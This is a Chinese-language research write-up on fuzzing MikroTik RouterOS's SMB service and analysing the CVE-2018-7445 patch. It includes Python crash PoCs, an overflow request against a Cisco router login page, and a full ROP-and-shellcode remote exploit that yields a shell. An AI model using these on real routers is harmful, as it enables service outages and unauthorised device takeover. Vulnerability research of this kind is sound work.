MikroTik RouterOS SMB 服务基于 fuzz 的漏洞挖掘及 CVE-2018-7445 补丁分析

背景

CVE-2018-7445 漏洞存在于 MikroTik RouterOS < 6.41.3/6.42rc27 的 SMB 服务中,由堆栈溢出引发,漏洞时间线大致如下:

  • 2018/02/15,MikroTik 官方在 Test Release 6.42rc27 版本中修复了该漏洞。
  • 2018/02/19,Core Security 将该漏洞上报 MikroTik 官方(CVE-2018-7445)。
  • 2018/03/12,MikroTik 官方在 Stable Release 6.41.3 版本中修复了该漏洞。
  • 2018/03/15,Core Security 放出了某版本的 EXP【2】
  • 2019/03/06,网上公开了详细漏洞分析。

去年三月份的洞了,看了公开的分析文章发现也很详细,而且 EXP 也有了。不过文中使用 fuzz 发现漏洞的过程还是值得学习的,使用 fuzz 应该能发现不少漏洞,故打算实践一波。

环境搭建

在虚拟机中安装最新稳定版本 v6.44.0(默认凭证:admin/空)

使用 Winbox 配置一下网络,就可以使用 telnet 连接了。

推荐去官网申请个免费的 license 激活,不然只能使用 24 小时。

telnet 登录后的默认 shell 是个类似沙盒的环境,只能运行预设的一些命令,要研究漏洞的话就需要越狱。可以使用 Github 上的通用越狱工具【3】,2.9.8 到 6.41rc56 版本直接 exploit_backup/exploit_full.sh 一条命令搞定。6.41 及之后的版本需要借助一个 U 盘作为辅助,大致分为两个步骤:

准备一个空 U 盘,制作辅助工具。

确保 U 盘已经正确挂载到目标系统。

运行脚本,成功越狱。

发现只是个 ash,一无所有… ,利用 ftp 上传个功能齐全的 busybox【4】 和 gdbserver【5】。至此,环境搭建完成。

fuzz 入门

fuzz 又叫模糊测试,原理其实挺简单的,根据一定策略生成大量的输入,然后看对应服务是否有异常行为。fuzz 的对象一般是内存异常类漏洞,如常见的堆栈溢出。

拿前几天刚曝出的 Cisco 路由器 RCE 漏洞举个例子:

首先抓取正常的登录流量:

1
2
# 正常数据包
curl -k -X POST -i "https://$IP/login.cgi" -d "submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=admin&pwd=498836900e3cb4d343b96f3f1c578f4a&sel_lang=EN"

IoT 设备的 Web 服务大多是 C 语言写的,很有可能存在溢出漏洞。根据经验,修改数据包如下:

1
2
# 修改后的包
curl -k -X POST -i "https://$IP/login.cgi" -d "submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=admin&pwd=498836900e3cb4d343b96f3f1c578f4aAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sel_lang=EN"

发送该数据包,路由器的 Web 服务会崩溃,然后就是调试开发 exp 了… 这个过程是一次典型的纯手动且目标明确的 fuzz 过程,有时候发送几千几万个包也不一定能打崩,效率很扎心。

那么能不能用代码自动化实现呢?将抓取的流量作为模版, 并根据一定的策略自动变异,自动发包并监控目标服务的运行状态,然后就可以去愉快上分了…

让我们在 RouteOS 最新版 6.44.0 的 SMB 服务上实践一下 ( ̄︶ ̄)↗

首先开启 SMB 服务。

选择 radamsa 【6】作为变异器,简单看下变异策略(左)和实际效果。

了解了基本原理之后,让我们来 fuzz RouterOS 的 SMB 服务。开启 wireshark 抓包:

提取建立 TCP 连接后的第一个 SMB 请求包的有效字节:

1
\x00\x00\x00\xbe\xffSMBr\x00\x00\x00\x00\x18C\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x00\x00\x00\x9b\x00\x02PC NETWORK PROGRAM 1.0\x00\x02MICROSOFT NETWORKS 1.03\x00\x02MICROSOFT NETWORKS 3.0\x00\x02LANMAN1.0\x00\x02LM1.2X002\x00\x02DOS LANMAN2.1\x00\x02LANMAN2.1\x00\x02Samba\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00

将该流量作为模版,然后使用 radamsa 进行变异,可以选择变异整个流量,也可以只变异其中的某一个部分,生成大量的测试样例,如下:

然后循环发包并观察目标服务是否崩溃即可。

这里我们不重复造轮子了,直接使用 Cisco-Talos 团队开源的 mutiny-fuzzer 框架【7】,在我们指定了一个模版后,它会调用 radamsa 对其变异,自动发送这些数据包,并包含日志记录、中断恢复等功能。

预处理 wireshark 导出的流量:

生成的 fuzz 模版如下,fuzz 后面的就是待变异的部分。

也可以结合 sub 字段实现只变异特定部分,其中的单引号起连接作用。

由于对协议不熟悉,这里我们选择对整个数据包进行变异,kill 掉原来的 SMB 进程,在终端中重新运行,这样方便查看日志信息,随后开启 fuzz,发包时间间隔可以设置小一点。

五百年后 (●′ω`●),目标服务崩了,日志里显示段错误。

使用 -r 选项指定测试样例进行多次测试后,确认是 seed 10146 这个包引发的 crash,由于我们开启了 –logAll 日志记录,可以查看所有发出的数据包。

简化一下,PoC 如下,可以稳定的 crash。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# coding: utf-8
# RouterOS 6.44.0 crash

import socket
import sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 445))

payload = b'\x00\x00\x00\xbe\xfeSMBr\x00\x00\x00\x00\xf3\xd6\xa0\x81\x85\x18C\xc8\x00\x00\xf3\xa0\x80\xbc\xff'
payload += b'a' * (0xbe - len(payload) + 4)

s.send(payload)
s.close()

在后续的 fuzz 过程中,我们发现了多个可以引起最新版 RouterOS SMB 服务异常崩溃的流量,其中两个 PoC 如下:

Crash 1:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
# coding: utf-8

import socket
import sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 445))
payload = b'\x81\x00\x00\x00' + b'a' * 0xff
s.send(payload)
s.close()

Crash 2:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
# coding: utf-8

import socket
import sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 445))
payload = b'\x81\x00\x00\x20' + b'A' * 0x20
s.send(payload)
s.close()

在 RouterOS 6.40.5、6.41.4、6.43.11、6.44.0 等多个版本测试,确认上述流量都可以打崩 SMB 服务。

CVE-2018-7445

有趣的是,后两个 crash 很像 CVE-2018-7445 漏洞。为啥这个官方已经修复过的漏洞能把最新版打崩,这引起了我的好奇。

漏洞及补丁分析

CVE-2018-7445 漏洞存在于 sub_8054607 函数中,a1 是目标缓冲区的地址,a2 指向请求数据的第 38 个字节,将形如 length1:payload1 length2:payload2 的数据拷贝到栈上,当 length 为 0 才结束拷贝,导致堆栈溢出。

只要构造 b’\x81\x00LENGTH’ + b’A’ * LENGTH, LENGTH > 0x43 就可以进入漏洞函数。

官方的修复方案如下,删掉了漏洞函数,重写了拷贝代码。构造数据 b’\x81\x00\x00\xfa’ + b’A’ 34 + b’\x20’ + b’a’ (0xfa - 35) 就可以进入拷贝的逻辑,但是 v7 限制了只能拷贝 32 字节,所以,凉凉…

因此 fuzz 出来的多个 crash 虽然流量相似,但是和 cve-2018-7445 不是同一个漏洞。

exp

漏洞和补丁分析完了,顺便说下 exp。网上公开的分析文章已经非常详细了,总结下利用链有以下几点:

  • 利用堆栈溢出可以直接劫持 EIP, 只开了 NX 和 ASLR。

  • 栈随机化,堆没有随机化,可在堆中固定地址找到请求数据,因此可以稳定的注入 shellcode。

  • 构造 ROP 调用 mprotect() 修改堆的保护属性,使堆可执行,绕过 NX,最后控制 EIP 跳转到堆中执行 shellcode。

原 exp 是漏洞作者基于 x86 架构的云托管路由器开发的,只需要修改几个地址,就可以在虚拟机环境中使用。

修改后的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python
# version:RouterOS 6.40.5 under virtual machine.

import socket
import struct
import sys
import telnetlib

NETBIOS_SESSION_MESSAGE = "\x00"
NETBIOS_SESSION_REQUEST = "\x81"
NETBIOS_SESSION_FLAGS = "\x00"

# trick from http:// shell-storm.org/shellcode/files/shellcode-881.php
# will place the socket file descriptor in eax
find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"

# dup stdin-stdout-stderr so we can reuse the existing connection
dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"

# execve - cannot pass the 2nd arg as NULL or busybox will complain
execve_bin_sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# build shellcode
shellcode = find_sock_fd + dup_fds + execve_bin_sh

# rop to mprotect and make the heap executable
# the heap base is not being subject to ASLR for whatever reason, so let's take advantage of it
p = lambda x : struct.pack('I', x)

rop = ""
rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret;
rop += p(0x08072000) # ebx -> heap base
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret;
rop += p(0x14000) # ecx -> size for mprotect
rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret;
rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ | PROT_WRITE | PROT_EXEC
rop += p(0xffffffff) # edi -> gibberish
rop += p(0xffffffff) # ebp -> gibberish
#rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;
rop += p(0x0804c39e) # 0x0804e30f: pop ebp; ret;
rop += p(0x0000007d) # ebp -> mprotect system call
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
#rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR
rop += p(0xffffe422) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0) # edx -> zeroed out
rop += p(0x0) # ecx -> zeroed out
#rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;
rop += p(0x0804c39e) # 0x0804e30f: pop ebp; ret;
rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) contain user controlled data
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap

offset_to_regs = 83

# we do not really care about the initial register values other than overwriting the saved ret address
ebx = p(0x45454545)
esi = p(0x45454545)
edi = p(0x45454545)
ebp = p(0x45454545)
eip = p(0x0804886c) # 0x0804886c: ret;

payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop
header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload))
buf = header + payload

def open_connection(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 445))
return s

def store_payload(s):
print "[+] storing payload on the heap"
s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode)

def crash_smb(s):
print "[+] getting code execution"
s.send(buf)

if __name__ == "__main__":
if len(sys.argv) != 2:
print "%s ip" % sys.argv[0]
sys.exit(1)

s = open_connection(sys.argv[1])
store_payload(s)

# the server closes the first connection, so we need to open another one
t = telnetlib.Telnet()
t.sock = open_connection(sys.argv[1])
crash_smb(t.sock)
print "[+] got shell?"
t.interact()

总结

fuzz 还是很有意思的,跑的几个 crash 无法利用,提交 MikroTik 官方了… ( ゚д゚)つBye

参考链接

【1】: Finding and exploiting CVE-2018–7445 (unauthenticated RCE in MikroTik’s RouterOS SMB)
https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1

【2】:MikroTik RouterOS SMB Buffer Overflow
https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1

【3】:MikroTik RouterOS Jailbreak
https://github.com/0ki/mikrotik-tools

【4】:busybox binaries download
https://busybox.net/downloads/binaries/1.30.0-i686/

【5】:gdbserver
https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

【6】: radamsa
https://gitlab.com/akihe/radamsa

【7】mutiny-fuzzer
https://github.com/Cisco-Talos/mutiny-fuzzer

0%